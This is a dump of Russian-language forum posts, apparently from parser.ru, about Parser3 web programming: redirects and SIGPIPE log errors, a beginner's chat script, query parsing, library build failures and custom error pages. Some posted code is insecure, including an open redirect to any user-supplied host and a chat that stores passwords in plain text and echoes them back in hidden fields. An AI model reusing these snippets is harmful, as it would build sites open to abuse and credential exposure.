^soobsh.save[soobsh.txt]}\
#вывод на экран\
^soobsh.menu{\
$soobsh.author to $soobsh.tohom $soobsh.text<br>}[/code]\
Пасибо хотябы за внимание."
"42850","Сделал на доске объявлений возможность указывать адрес веб сайта. При выводе объявления выводится название сайта в ссылке. Ссылка выглядит примерно так:\
<a href=\"http://..../redirect.html?target=somesite.ru\"...>\
Ссылка не прямая. Код редиректа такой:\
[code]\
$target[$form:target]\
\
^if(def $target){\
$response:location[http://$target] \
}\
[/code]\
\
Проблема в следующем: при переходе по ссылке возникает ошибка\
SIGPIPE received while executing code, хотя редирект срабатывает и на указанный сайт переходит. Не подскажите как избавится от этой проблемы?"
"42852","…SIGPIPE received. …\
Такие записи появляются в parser3.log, при этом вроде все работает нормально. Что это означает?\
Когда ответ от CGI-скрипта больше клиенту веб-сервера не нужен, например пользователь нажал кнопку stop, или потерялась связь, веб-сервер посылает скрипту сигнал «послушай, тут твой output больше никому не нужен». В версиях parser до 3.0.0006 этот сигнал специально не обрабатывался, и происходила его обработка по-умолчанию = убивание процесса посередине его работы [исключение составлял parser, соединившийся с oracle, там oracle библиотека включала игнорирование этого сигнала].\
Это нехорошо, что нас убивали, и мы ничего не могли аккуратно закрыть.\
\
С версии 3.0.0007 parser отлавливает этот сигнал и создаёт ошибку «parser.interrupted».\
\
В том случае, если до обработки запроса ещё дело не дошло, или, наоборот, запрос уже обработан, в лог и попадёт приведённая вами запись."
"42853","Я задал другой вопрос:\
[quot]\
Проблема в следующем: при переходе по ссылке возникает ошибка\
SIGPIPE received while executing code, хотя редирект срабатывает и на указанный сайт переходит. Не подскажите как избавится от этой проблемы?\
[/quot]\
В поиске искал - ответа не нашел"
"42854","если я правильно понимаю собственно весь класс response, то он предназначен для выдачи ответов на запросы. Причем запросы касательные именно вашего собственного сервера. Если же вы начинаете локейшеном ссылаться куда-то на сторону, то получается, что ответ вы даете, но там его и не ждут (это уже на другом серевре). В ответ вы получаете стандартный юниксовый системный сигнал (один из 20-30 штук) SIGPIPE - \"написанный и посланный мной ответ на той стороне никто не читает\".\
Если я неправ, может кто-то поправит."
"42856","Скорее всего эту ошибку исправить не удастся..\
Каким другим способом можно сделать редирект?"
"42857","Эта ошибка появляется лишь в логе, на работоспособность не влияет. \
ПАФ Сперанскому ровно год наза сказал - забей и ротируй лог! :)"
"42858","Я думал за год может кто-нибудь придумал как избавиться \
от этого ;-)\
Спасибо за помощь."
"42859","[quot]Если ошибка так и не была обработана ни одним обработчиком, Parser вызывает метод unhandled_exception, ему передается информация об ошибке и стек вызовов, приведших к ошибке, и выдаются результаты его работы. Также ошибка записывается в журнал ошибок веб-сервера. \
\
Имеется возможность предотвратить запись ошибки в журнал ошибок, для чего только для нужных ошибок можно зажечь флаг: [3.1.4] \
[b]$exception.handled(1)[/b][/quot]\
\
в вашем случае, в unhandled_exception:\
[code]$exception.handled($exception.type eq parser.interrupted)[/code]"
"42860","Если не трудно, не могли бы Вы разъяснить несколько вещей:\
\
[quot]\
Имеется возможность предотвратить запись ошибки в журнал ошибок, для чего только для нужных ошибок можно зажечь флаг: [3.1.4] \
$exception.handled(1) \
[/quot]\
\
Что значит только для нужных ошибок? Это ошибки которые должны записаться в лог или наоборот.\
\
Зажечь флаг это значит вставить $exception.handled(1) ?\
Всавить куда?"
"42862","Кстати, хотелось бы узнать у профи - я прав в своих рассуждениях относительно происходящего с location процесса?"
"42863","к тому-же механизмы исключений подразумевают, что ошибки происходят, и программа на них реагирует."
"42864","На сайте средствами парсера я создаю html с прайс-листом и отдаю его пользователям в виде XLS. Файл генерируется непосредстенно перед выдачей пользвателю, получается размером около 1 Мб. Возможно ли реализовать между генерированием и отдачей пользователю архивацию содержимого в zip-файл и как это сделать?"
"42867","Да, но контент то динамически генерируется. Как в этом случае быть?"
"42868","Спасибо всем, разобрался... Для знатоков, прилагаю линк.\
http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html"
"42869","скинули свой динамический контент в файлик, сархивировали, загрузили архивчик и выдали пользователю. Всё прозрачно."
"42870","[code]@authoring[]\
$date[^date::now[]]\
$names[^table::load[names.txt]]\
$online[^table::load[online.txt]]\
$soobsh[^table::load[soobsh.txt]]\
$authoringforms{\
<form method='post'>\
<table width='250' align=center>\
<tr><td align='center' COLSPAN=2><input type='test' name='login'></td></tr>\
<tr><td align='center' COLSPAN=2><input type='password' name='password'></td></tr>\
<tr><td align=left><input type='submit' name='submit' value='Войти'></td><td align='right'><input type='reset' name='reset' value='Очистить'></td></tr>\
<tr><td align='center' COLSPAN=2>Если пользователь с таким именем еще не входил в систему вы будете зарегестрированы.<br><b>$Error</b></td></tr>\
</table>\
</form>}\
^if(def $form:login && def $form:password){\
^if(^names.locate[Name;$form:login]){\
^if($form:password eq $names.password){\
^if(^online.locate[names;$form:login]){}{^online.append{$form:login	$date.minute}^online.save[online.txt]}^chat[]}{\
$Error[Неверный пароль.] $authoringforms}}{\
^names.append{$form:login	$form:password}$error[Вы зараегстрированы]^names.save[names.txt]\
^online.append{$form:login	$date.minute}^online.save[online.txt]^chat[]}}{\
$Error[Надо заполнить все поля формы.] $authoringforms}\
@chat[]\
<form method='post'>\
<table width='950' height='550' border=1 align=center>\
<tr heigh='90%'><td width=90% valign=up>^vivodsoobshenii[]</td><td valign=up>^onlinelist[]</td></tr>\
<tr><td COLSPAN=2 height=50>^otpravkasoobsh[]</td></tr>\
</table>\
#чтобы не возвращало к входу\
<input type='hidden' name='login' value='$form:login'>\
<input type='hidden' name='password' value='$form:password'>\
</form>\
@onlinelist[]\
#удаление старых записей из списка\
^for[i](1;^online.count[]){\
^online.offset[set]($i-1)\
$razn($online.time-$date.minute)\
^if($razn>3 || $razn<-3){\
$online2[^table::create[$online;$.offset($i)]]\
$online[^table::create[$online;$.limit($i-1)]]\
^online.join[$online2]\
^online.save[online.txt]}}\
#перечисление посетителей\
^online.menu{\
^if($online.names eq $form:login){<b>$online.names<br></b>}{\
<input type='checkbox' name='ch' value='$online.names'>$online.names<br>}}\
@otpravkasoobsh[]\
#форма для сообщения\
<input type='text' name='soobsh' size='100'><br>\
<input type='submit' name='submit' value='Отправить'>\
<input type='reset' name='reset' value='Очистить'> Поставте галочку возле имени того, кому хотите отправить сообщение.\
@vivodsoobshenii[]\
#определение адресата сообщения\
$totab[$form:tables.ch]\
#добавление сообщения\
^if(def $form:soobsh){\
^if(def $totab){\
^soobsh.append{$form:login	^totab.menu{$totab.field}[, ]^:	$form:soobsh}\
^soobsh.save[soobsh.txt]<br>}{$totab[all]\
^soobsh.append{$form:login	$totab^:	$form:soobsh}\
^soobsh.save[soobsh.txt]<br>}}{$error[Скажем \"Нет!\" пустым сообщениям!]\
<b>$error</b><br>}\
#обновление времени последней связи с поситителем\
^if(^online.locate[names;$form:login]){\
$online2[^table::create[$online;$.offset(^online.line[])]]\
$online[^table::create[$online;$.limit(^online.line[]-1)]]\
^online.append{$form:login	$date.minute}\
^online.join[$online2]\
^online.save[online.txt]}{\
^online.append{$form:login	$date.minute}\
^online.save[online.txt]}\
#удаление старых сообщений\
^if(^soobsh.count[]>20){\
$soobsh[^table::create[$soobsh;$.offset(^soobsh.count[]-20)]]\
^soobsh.save[soobsh.txt]}\
#вывод на экран\
^soobsh.menu{\
^if(^soobsh.tohom.pos[$form:login,]>-1 || ^soobsh.tohom.pos[$form:login^:]>-1){\
<b>$soobsh.author to $soobsh.tohom $soobsh.text<br></b>}{\
$soobsh.author to $soobsh.tohom $soobsh.text<br>}}[/code]"
"42871","Цель: формировать средствами парсера JS-код для библиотеки JSHttpRequest (by Dmitry Koterov).\
\
Библиотека создает запросы к серверу:  \
[code]\
get-запрос:\
script.html?sid=session_id...param=pairs...?request_id \
\
post-запрос:\
script.html?sid=session_id?request_id \
[остальные данные в теле запроса]\
[/code]\
GET-запрос: request_id = $form:qtail\
\
POST-запрос: request_id можно получить только вручную: \
[code]\
$qtail[^request:query.mid(^request:query.pos[?]+1)]\
[/code]\
\
Т.к. парсер не понимает [i]%uXXXX[/i], возникла необходимость написать свой метод разбора строки:\
\
[code]\
# передаем данные после замены  %uXXXX -> Win1251\
# см. http://www.parser.ru/forum/?id=42777\
@_parse_query_string[string][parts;key;value]\
^if(^string.pos[?]>=0){\
	$result.qtail[^string.mid(^string.pos[?]+1)]\
	$string[^string.mid(0;^string.pos[?])]\
}\
$parts[^string.split[&]]\
^parts.menu{\
	^if(^parts.piece.pos[=] > 0){\
		$key[^parts.piece.left(^parts.piece.pos[=])]\
		$value[^parts.piece.mid(^parts.piece.pos[=]+1)]\
		$result.$key[$value]\
	}\
}\
[/code]\
\
Для начала стало понятным, что в этом случае (POST-запрос & нет поддержки %uXXXX) бессмысленно получение $form:qtail.\
\
Тут я уже понял, что был не прав :-( \
\
+ после непродолжительных раздумий, мне стало очевидным, что ситуация не является типичной. На мой взгляд, при POST-запросах логично [i]не делать[/i] разбор $request:query (а значит, не определять $form:qtail).\
\
Если параметры передаются в [i]теле[/i] запроса, то передача переменных в [i]строке[/i] запроса бессмысленна. \
\
Если это требуется для каких-либо иных целей (например, как в моем случае - передача id запроса), тогда  $form:qtail = $request:query.\
\
Передача SID  в данном конкретном случае - рудимент ПХП-шного костыля для создания сессий.\
\
Вывод: больше отдыхать, больше думать => чтобы не писать глупостей. \
\
В общем, спасибо за науку ;-)\
\
\
[b]Пожелание[/b]: дополнительные возможности строкового метода ^pos[].\
Суть: ^строка.pos[подстрока;номер совпадения]\
Например: \
...\
$string[17/9/2003]\
$string[31/12/2004]\
...\
\
$year(^string.mid(^string.pos[/;2]))\
\
На мой взгляд, такое дополнение в некоторых случаях позволит отказаться от использования регулярных выражений."
"42872","И если вдруг кому нужно будет: \
разбор $request:query (рабочий вариант)\
[code]\
\
# Если необходимо, то \
# передаем данные после замены  %uXXXX -> Win1251\
# см. http://www.parser.ru/forum/?id=42777\
@_parse_query_string[string][parts;key;value]\
$result[^hash::create[]]\
^if(^string.pos[?] >= 0){\
	$result.qtail[^string.mid(^string.pos[?]+1)]\
	$string[^string.mid(0;^string.pos[?])]\
}\
$parts[^string.split[&]]\
^parts.menu{\
	^if(^parts.piece.pos[=] > 0){\
		$key[^parts.piece.left(^parts.piece.pos[=])]\
		$value[^parts.piece.mid(^parts.piece.pos[=]+1)]\
		$result.$key[$value]\
	}\
}\
[/code]"
"42873","Добрый день!\
\
Ваш чат, к сожалению, нерабочий. \
Это видно даже не вооруженным глазом - неопределена функция @main[], нет механизма запуска методов, неверно используется структура таблиц (поля то \"Name\", то \"names\", то колонки перепутаны местами), вместо строк некоторые переменные представлены как код и т.д.\
\
Очевидно, что вы самостоятельно не пытались даже его запустить. \
Не думаю, что такой подход найдет понимание на этом форуме.\
\
Если вам действительно хочется или необходимо изучить парсер, то вы можете скачать Apache Swissknife\
http://www.parser.ru/forum/?id=36941\
после чего приступить к внимательному чтению документации и FAQ. \
Именно чтению, а не пролистыванию, и т.д.\
Потом ОЧЕНЬ желательно выполнить все уроки описанные в документации, после чего искать ответы на свои вопросы в FAQ, тщательно искать на форуме и в документации.\
Если что-то не получается, отдохнуть, подумать и снова попробовать. На этом этапе писать на форум нет смысла, т.к. все уже есть или в документации или в FAQ или в архиве форума.\
Так же ОЧЕНЬ желательно изучить документацию к веб-серверу (в большинстве случаев Apache), \
HTTP-протоколу и CGI-интерфейсу. Т.е. вам будет необходимо основы веб-программирования.\
\
Поверьте, что за вас никто не сможет изучить парсер.\
\
Если же вам просто нужен чат - см. http://cgi.myweb.ru (или google.com или найти знакомого который поможет решить проблему)\
\
Отнеситесь с пониманием к тому, что большинство участников форума заняты работой, и объяснять вам азы (а тем более тестировать ваш код) ни у кого нет ни сил, ни времени."
"42881","Реально ли обойтись средствами Парсера для написания процедур использующие  интерфейсы Web money.\
Нужно прием отправка средств, авторизация, получение данных о владельцев WM ID.\
Кто нибудь пробовал что получилось? Что нет? стоит ли браться?\
\
Начал читать...\
Ставил модуль WMSigner\
Error 2"
"42883","Чел кто не пытался его запуститьь так это ты!!! Меня если быть чесно даже в краску вогнало твое сообщение. Заметь столбцы с разными именами в разных таблицах самое страшное что может это дать это плохое понимание тех кто не попытался разобраться в коде. И напоследок ОН РАБОЧИЙ!!!! Я проверял на локал хосте с помощью денвера. Ты кстати тоже можеш. Только создай три таблицы в той же папки, что и чат. Названия таблиц и поля таблиц я думаю сможеш глянуть в коде. Я обратился с предложением найти баги которых не нашел я, а не из-за которых ничего не пашет."
"42885","\"вместо строк некоторые переменные представлены как код и т.д.\"\
Чо это значит? Может это:\
\"$имя_переменной{код}-переменной присваивается фрагмент кода, который будет выполнен при обращении к переменной\""
"42888","Собрал Parser, но он катигорически не хочет работать с XML. Выдаёт ошибку: [b]Internal Server Error[/b]. В свои логи ничего не записывает. Много искал информации по форуму на эту тему и нашёл тред: 	[url=\"http://www.parser.ru/forum/?id=10243\"]Ошибка при выполнении файла _test.html[/url]. Делал всё тоже самое, что написано в Ваших сообщениях, ошибки идентичны.\
\
[b]Информармация о сборке.[/b]\
[code]\
[b]gc6.5[/b]\
--prefix=/usr --disable-threads --silent\
\
[b]libxml2-2.6.20[/b]\
--prefix=$HOME/gnome --without-zlib --without-iconv --without-threads --silent\
\
[b]libxslt-1.1.14[/b]\
--with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --without-debug --without-debugger --silent\
\
[b]glib-2.7.4[/b]\
--prefix=$HOME/gnome\
\
[b]gdome2-0.8.1[/b]\
--with-glib-prefix=$HOME/gnome --disable-glibtest --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --silent\
\
[b]parser-3.1.4[/b]\
--prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --sysconfdir=/etc --localstatedir=/var --disable-safe-mode --with-shared-gc --with-mysql-client --with-shared-xml=$HOME/gnome\
[/code]"
"42890","раз собирали, значит можете и с консоли запустить.\
[code]\
$ ../cgi-bin/parser3 _test.html\
[/code]\
что выдаёт?"
"42891","[code]\
<html>\
<head><title>Unhandled Exception</title></head>\
<body>\
<h1>Unhandled Exception</h1>\
\
\
<p>The server encountered an unhandled exception\
and was unable to complete your request.</p>\
<p>Please contact the server administrator,\
and inform them of the time the error occurred,\
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
</html>\
[/code]\
\
[b]parser3.log[/b]\
[Sun Jul 31 21:35:30 2005] [20847] : '/home/beave/_test.html' read failed: No such file or directory (2), actual filename '/home/beave/_test.html' [file.missing]"
"42892","[code]\
Segmentation fault\
[/code]"
"42893","Возникла проблема с отправкой запроса на xmlsearch.yandex.ru,\
мне нужно отправить xmlку с запросом вида\
[code]$document[\
<request>\
<query>$text && #url=\"mysite.net\"\
</query>\
<page>$page_num</page>\
</request>]\
$params[$.timeout[27]\
        $.method[POST]\
        $.charset[utf-8]\
        $.body[$document]\
       ]\
\
   $loadedXml[^file::load[text;http://xmlsearch.yandex.ru/xmlsearch/;$params]]\
[/code]\
\
никак не могу придумать как без ошибки вставить '&&',\
подскажите, пожалуйста"
"42895","так вот обойтись средствами Парсера нереально, хотя бы потому что для обращения к интерфейсам wmt используется https - p3 этого пока не умеет, т.е. придётся прикручивать wget или curl для обращений по https, так же обнаружен интересный глюк, если подписывать данные wmsigner'ом из p3\
т.е.\
\
$PlanStr[строка для подписи]\
$signit[^file::exec[/path2wmsigner/WMSigner;$.stdin[${PlanStr}\\004\\r\\n]]]\
\
$signit.text\
\
строку то он выдаёт но сервер wmt её принимать не хочет, но с другой стороны если ту же самую строку подписать из perl, то ответ с сервера wmt положительный\
\
вообще я сначала думал что я не правильно строку $PlanStr склеиваю и в этом трабл, но я перепробовал много вариантов в том числе склеивал строку в p3 и передавал для подписи скрипту на perl и проч, короче явно глюк связки p3 + wmsigner"
"42897","пожалуйста, фильтруйте поток своего сознания перед публикацией."
"42898","почитайте про протокол HTTP. в полезных ссылках есть."
"42899","с подобным не встречались, воспроизводится 100%?\
что за веб-сервер, веб-браузер, нет ли между ними кого умного?"
"42900","можно tab-delimited файл сохранить под именем .xls, он нормально откроется (без форматирования, правда)."
"42901","исходите из этого.\
\
если для работы кода нужны какие-то таблицы, приложите их сразу."
"42903","что именно в них отличается?\
какая буква?"
"42904","дождитесь выхода 3.2.0, в документации будет разобрано."
"42906","Решил посмотреть, а там....:(\
\
Построение деревьев с помощью XSL -> http://serge.design.ru/article/002/"
"42907","$form:tables rulezzz!!"
"42908","[code]\
[beave@localhost cgi-bin]$ gdb parser3.cgi core\
GNU gdb 6.0-2mdk (Mandrake Linux)\
Copyright 2003 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i586-mandrake-linux-gnu\"...\
(no debugging symbols found)...Using host libthread_db library \"/lib/tls/libthread_db.so.1\".\
\
/home/beave/bmarket/public_html/cgi-bin/core: No such file or directory.\
(gdb) bt\
No stack.\
(gdb)\
[/code]"
"42910","[code]^void:sql{delete from shop where shop.zakaz='$form:ok'}[/code]\
\
тогда не будет \
\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '='удалить'' at line 1"
"42911","Добавил в главном auto.p замену ошибок от Misha v.3:\
[code]\
@unhandled_exception_ru[exception;stack]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
	<head>\
		<title>Internal server error</title>\
		<style><!--\
			h2 {border-bottom: dotted 1px #ccc^; margin-top: 20px^; color: #900}\
			li {list-style-type: square}\
		--></style>\
	</head>\
	<body>\
		<H2>Ошибка в коде Parser</h2>\
		<h3>Сообщение об ошибке:</h3>\
		<pre>^untaint[html]{$exception.comment}</pre>\
		^if(def $exception.source){\
			<h3>Ошибку вызвал этот фрагмент кода:</h3>\
			<tt>$exception.source</tt>\
			<h3>Ошибка произошла при работе с файлом:</h3>\
			<pre>^untaint[html]{\
				<tt>${exception.file}</tt>, строка номер <b>$exception.lineno</b>\
			}</pre>\
		}\
		^if(def $exception.type){\
			$parser_error_types[^table::create{type	explanation\
parser.compile	в вашем коде ошибка - вы забыли поставить пару какой-нибудь скобке, забыли поставить \"птичку\" перед знаком \"^;\" или ещё что-то. Будьте внимательнее. \
parser.runtime	методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком \"^;\", где он не несёт специального значения) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
parser.interrupted	загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания).\
number.zerodivision	вы пытаетесь заставить Parser поделить что-то на ноль, а он не умеет.\
number.format	вы пытаетесь преобразовать к числу нечисловые данные (например, \"Людовик XIV\" в \"14\" Parser преобразовать никогда не сумеет).\
file.missing	вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр? или заменили английскую букву в имени русской?)\
file.access	у парсера нет прав на доступ к этому файлу.\
image.format	файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
sql.execute	произошла ошибка исполнения SQL запроса. Там точно нет никаких опечаток? В таблице, к которой вы обращаетесь, есть все нужные столбцы? Может быть, база данных была повреждена? Или кончилось место на диске и сервер базы данных не может дальше правильно работать? \
xml	в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
smtp.connect	SMTP сервер (сервер для отправки почты) не может быть найден или временно недоступен.\
smtp.execute	произошла ошибка отправки письма по SMTP протоколу (проверьте, не \"упал\" ли сервер, принимает ли он от вас письма, и не вмешивается ли в процесс слишком бдительный антивирус).\
email.format 	у вас ошибка в email адресе: адрес пустой или содержит неправильные символы.\
email.send	произошла ошибка запуска почтовой программы (у вас точно sendmail правильно работает? Спросите у администратора сервера).\
http.host	искомый сервер не найден.\
http.connect	сервер, к которому вы обращаетесь, найден, но не принимает соединений.\
http.response	сервер, к которому вы обращаетесь, был найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка)\
http.status	Cервер выдал ответ со статусом, не равным 200 (не успешное выполнение запроса). Может быть, статус - уже давно как \"404 Page not found\"?...\
http.timeout	Parser не успел выкачать документ с HTTP-сервера в отведенное время. Попробуйте увеличить параметр timeout или сделать что-то с каналом связи с интернетом.}]\
\
		<p>Тип ошибки: <b>$exception.type</b>\
			^if(^parser_error_types.locate[type;$exception.type]){ \
   		 		(Это означает, что\
  		 		 		$parser_error_types.explanation\
		  		) \
			} \
		</p>\
		}\
		^if($stack){\
			<h3>Последовательность операций, которая привела к ошибке:</h3>\
			(от самой последней вверху списка до самой первой внизу)\
			<ul>\
				^stack.menu{\
					<li><tt>$stack.name</tt> $stack.file^($stack.lineno^)</li>\
				}\
			</ul>\
			\
		}\
		^for[i](0;512/6){\
			&nbsp^;\
		}\
	</body>\
</html>\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
^unhandled_exception_ru[$exception;$stack]\
[/code]\
\
И получил новую ошибку:\
[b][color=\"#ff0000\"]Ошибка в коде Parser[/color][/b]\
[b]Сообщение об ошибке:[/b]\
[code]driver failed to initialize client library 'yes', yes: cannot open shared object file: No such file or directory[/code]\
[b]Ошибку вызвал этот фрагмент кода:[/b]\
/home/beave/bmarket/public_html/cgi-bin/lib/libparser3mysql.so \
[b]Ошибка произошла при работе с файлом:[/b]\
/home/beave/bmarket/public_html/classes//sql.p, строка номер 74\
[b]Последовательность операций, которая привела к ошибке:[/b]\
(от самой последней вверху списка до самой первой внизу)\
[quot]\
connect /home/beave/bmarket/public_html/classes//sql.p(74)\
server /home/beave/bmarket/public_html/auto.p(59)\
[/quot]\
\
[i]Интересно, что файл в каталоге lib находятся два файла: libparser3mysql.la и libparser3mysql.so...[/i]"
"42913","Конечно же понятно, что это не ошибка в Вашем коде.\
У Вас, Михаил, хотел спросить. Есть ли данная замена ошибок на английском языке?"
"42918","[code]\
[beave@localhost beave]$ cd bmarket/public_html\
[beave@localhost public_html]$ gdb ./cgi-bin/parser3.cgi\
GNU gdb 6.0-2mdk (Mandrake Linux)\
Copyright 2003 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i586-mandrake-linux-gnu\"...\
(no debugging symbols found)...Using host libthread_db library \"/lib/tls/libthread_db.so.1\".\
\
(gdb) set args _test.html\
(gdb) r\
Starting program: /home/beave/bmarket/public_html/cgi-bin/parser3.cgi _test.html\
(no debugging symbols found)...[Thread debugging using libthread_db enabled]\
[New Thread 1078834176 (LWP 2711)]\
\
Program received signal SIGSEGV, Segmentation fault.\
[Switching to Thread 1078834176 (LWP 2711)]\
0x40312f82 in iconv_close () from /lib/tls/libc.so.6\
(gdb) bt\
#0  0x40312f82 in iconv_close () from /lib/tls/libc.so.6\
#1  0x403125fc in iconv_close () from /lib/tls/libc.so.6\
#2  0x40145688 in xmlCharEncCloseFunc () from /usr/lib/libxml2.so.2\
[/code]"
"42919","в ваших сообщениях наблюдается противоречие.\
вы пишите, что собирали libxml без использования iconv.\
однако упасть так может только, если вы собрали [b]с использованием[/b] iconv.\
\
пожалуйста, перепроверьте, куда вы собрали libxml и что за libxml компонуется с parser.\
\
[code]\
int\
xmlCharEncCloseFunc(xmlCharEncodingHandler *handler) {\
    int ret = 0;\
    if (handler == NULL) return(-1);\
    if (handler->name == NULL) return(-1);\
#ifdef LIBXML_ICONV_ENABLED\
    /*\
     * Iconv handlers can be used only once, free the whole block.\
     * and the associated icon resources.\
     */\
    if ((handler->iconv_out != NULL) || (handler->iconv_in != NULL)) {\
	if (handler->name != NULL)\
	    xmlFree(handler->name);\
	handler->name = NULL;\
	if (handler->iconv_out != NULL) {\
	    if (iconv_close(handler->iconv_out))\
[/code]"
"42920","Понятное дело, что обрабочиком php файлов я не могу назначить Parser.\
А все дело в том, что мне понадобился маленький скрипт на php, который\
средствами парсера реализовать не получится.\
Следовательно вопрос. Возможно ли их совместное сосуществование?"
"42921","Моё первое сообщение:\
http://www.parser.ru/forum/?id=42888\
Делал всё так, как написал. Использовал Copy/Paste.\
У меня стоит ещё пакет libxml2 стандартный где-то в /usr/... Парсер собирался с libxml2, находящемся в [b]$HOME/gnome[/b].\
Не могу понять, почему при работе Парсер пользуется пакетов из /usr/?!... Может быть нужно сделать так:\
[code]\
[b]libxml2-2.6.20[/b]\
--prefix=/usr --without-zlib --without-iconv --without-threads --silent\
\
[b]libxslt-1.1.14[/b]\
--with-libxml-prefix=/usr --prefix=/usr --without-debug --without-debugger --silent\
\
[b]glib-2.7.4[/b]\
--prefix=/usr\
\
[b]gdome2-0.8.1[/b]\
--with-glib-prefix=/usr --disable-glibtest --with-libxml-prefix=/usr --prefix=/usr --silent\
\
[b]parser-3.1.4[/b]\
--prefix=/usr --sysconfdir=/etc --localstatedir=/var --disable-safe-mode --with-shared-gc --with-mysql-client --with-shared-xml=/usr\
[/code]"
"42922","Виноват, ослеп малость....\
Ответ не заставил себя ждать... http://www.parser.ru/forum/?id=33412"
"42923","предпочтительно static, чтобы ваш бинарник можно было кому-нибудь просто скопировать.\
\
но для дела это несущественно.\
\
в крайности[prefix=/usr] давайте не будем впадать.\
\
вы подозреваете, что скомпоновалось с системным.\
\
если будете компоновать статически, будет использован более простой способ указания библиотеки компоновщику — подобная путаница там исключена полностью."
"42924","сравнивать бесполезно каждый раз строка состоящая из одних и тех же данных разная, пример:\
\
подписали 1 раз:\
\
это подпись из p3 - 78be7df19853cb80346681f9de46bc1cddd4d1c83c897d7e66cc345abeb4008989028b861b0d77935d7cdfd87283230faa69822341a68e54d73dcb15e03a6860017c \
\
из perl - 57189222542a8ed349f5b805c60f53302a0a0afcc6b497d2d34795bebf66f9f71bb3dbff63df285e7a7c31300583edfc2292a287ca292f17f7e831e81158e9ba02da \
\
2раз:\
\
это подпись из p3 - 630878a318c02d4fcabc61b6760c07aa4f45b1f8d9b8aab6156469b0bedd0ebb23ff23b9d1f552ff8754ae4c77cc35d187044a82aba77b08d19f53e27d9ab8370036 \
из perl - 6cc7854120c35509b5689649c8ea3f95054f6309194ef1df88ee066c60aa1c0872ac515197a747e2eae37ceeb296c2460af5016375ac247ce0b19212d3b759940207"
"42925","Есть выборка древовидной структуры из БД\
[code]\
id	parent_id	thread_id	name\
[/code]\
\
я никак не могу придумать как преобразовать такую выборку к таблице вида\
[code]\
id	name	parent_id\
1	ParentElement	0\
3	-ChildElement	1\
4	-ChildElement	1\
5	--SubChilElement	4\
2	ParentElement	0\
6	-ChildElement	2\
7	-ChildElement	2\
	... и т.д.\
[/code]\
т.е. отформатировать в такое дерево, уровень вложенности определяет количество \"-\" перед именем\
\
столбца nesting в таблице нету.\
\
Думал, пробовал, но получилась какая то фигня с рекурсией.\
\
Помогите придумать"
"42926","Только лишь ^table.append{} повсюду."
"42927","раз есть способ делать дело, наверное, копать глубже нет необходимости."
"42929","Собираю Parser:\
[b]./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --disable-safe-mode --with-shared-gc --with-dynamic-stdcpp --with-mysql-client --with-static-xml=$HOME/gnome[/b]\
[b]make[/b]\
[i]часто промелькивало /usr/lib/glib/include и /usr/include/glib-1.2[/i]\
... и ошибка:\
[code]\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -Lyes -lgc /home/beave/gnome/lib/libgdome.a /home/beave/gnome/lib/libxslt.a /home/beave/gnome/lib/libexslt.a /home/beave/gnome/lib/libxml2.a -lglib/libglib.a  -lstdc++ -lcrypt -lm\
/usr/bin/ld: cannot find -lglib/libglib.a\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/home/beave/parser3project/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]"
"42930","Server: Apache/1.3.33 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.22 OpenSSL/0.9.6b PHP-CGI/0.1b\
\
Браузер Опера 8.0 (у меня), у пользователей приемущественно IE"
